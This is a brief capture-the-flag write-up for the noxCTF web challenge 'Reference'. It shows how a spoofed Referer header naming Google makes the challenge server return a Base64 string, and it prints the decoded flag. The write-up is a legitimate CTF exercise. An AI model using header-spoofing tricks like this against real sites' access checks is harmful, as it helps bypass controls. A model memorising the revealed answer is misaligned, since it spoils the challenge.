Tags: web 

Rating:

# ▼▼▼Reference(Web:100point、310/531=58.4%)▼▼▼
**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**

```
What is your reference again?
http://chal.noxale.com:5000
```

---

`http://chal.noxale.com:5000`

`Check_from_google` is written in the URL part

Guess that checking the Referer header

## 【exploit】
```
GET /check_from_google HTTP/1.1
Host: chal.noxale.com:5000
Referer: http://google.co.jp/
```

`bm94Q1RGe0cwb2dMM18xc180bFc0WXNfVXJfYjNTVF9SM2YzcjNuYzN9`

↓decode by Base64

`noxCTF{G0ogL3_1s_4lW4Ys_Ur_b3ST_R3f3r3nc3}`